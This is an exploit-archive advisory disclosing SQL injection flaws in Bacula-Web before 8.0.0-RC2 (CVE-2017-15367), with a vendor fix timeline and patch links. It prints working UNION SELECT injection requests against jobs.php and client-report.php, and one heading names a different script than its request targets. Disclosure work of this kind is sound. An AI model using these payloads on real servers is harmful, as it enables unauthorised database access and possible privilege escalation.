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Bacula-Web SQL Injection

Bacula-Web SQL Injection
Posted Mar 8, 2018
Authored by Gustavo Sorondo

Bacula-Web versions prior to 8.0.0-RC2 suffer from multiple remote SQL injection vulnerabilities.

tags | exploit, remote, web, vulnerability, sql injection
advisories | CVE-2017-15367
MD5 | c487454c0d4f19bdf7cb13152ae3d209

Bacula-Web SQL Injection

Change Mirror Download
Title: Multiple SQL injection vulnerabilities in Bacula-Web (CVE-2017-15367)
Credit: Gustavo Sorondo / http://www.cintainfinita.com
Vendor/Product: Bacula-Web (http://bacula-web.org/)
Vulnerability: SQL injection
Vulnerable version: All prior to 8.0.0-RC2.
Fixed in: 8.0.0-RC2
CVE: CVE-2017-15367

## Vulnerability Details

Bacula-web before 8.0.0-rc2 is affected by multiple SQL Injection
vulnerabilities that could allow an attacker to access the Bacula database
and, depending on configuration, escalate privileges on the server.

1) The /jobs.php script is affected by a SQL Injection vulnerability.

The following GET request can be used to extract the result of "select
@@version" query.

Request:
GET
/jobs.php?status=0&level_id=&client_id=0&start_time=&end_time=&orderby=jobid&jobs_per_page=25&pool_id=11%27%20UNION%20ALL%20SELECT%20@@version%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%23
HTTP/1.1

Response:
HTTP/1.1 200 OK
[...]
<td>5.7.19-0ubuntu0.16.04.1</td>
<td class="text-left">
backupjob-report.php?backupjob_name=
[...]

Other parameters (eg. client_id) are also vulnerable, since there is no
protection against SQL Injections at all.

2) The /backupjob-report.php script is affected by a SQL Injection
vulnerability.

The following GET request can be used to extract the result of "select
@@version" query.

Request:
GET
/client-report.php?period=7&client_id=21%20UNION%20ALL%20SELECT%20NULL,@@version%23

3) The /client-report.php is affected by a SQL Injection vulnerability in
the "client_id" parameter.

## Vulnerability Disclosure Timeline

2017-08-01 - Vulnerabilities discovered by Cinta Infinita
2017-08-09 - Vulnerabilities reported to Bacula-Web
2017-08-09 - Vulnerabilities confirmed by Bacula-Web
2017-10-15 - CVE-2017-15367 is assigned
2017-10-16 - Bacula-Web fixes backupjob-report.php and client-report.php in
dev branch
2018-03-02 - Bacula-Web fixes jobs.php in dev branch
2018-03-02 - Version 8.0.0-RC2 is published
2018-03-07 - Full disclosure

## Related fixes and releases

http://bacula-web.org/news-reader/bacula-web-8-0-0-rc2-released.html
http://bugs.bacula-web.org/view.php?id=211
https://github.com/bacula-web/bacula-web/commit/90d4c44a0dd0d65c6fb3ab2417b83d700c8413ae

## About Cinta Infinita

Cinta Infinita offers Information Security related services. Our
Headquarters are in Buenos Aires, Argentina.
For more information, visit http://cintainfinita.com

--
Ing. Gustavo M. Sorondo
Cinta Infinita - CTO
Web: http://cintainfinita.com
LinkedIn: https://www.linkedin.com/in/gustavosorondo
GPG: http://www.cintainfinita.com/gpg/gs-pkey.txt


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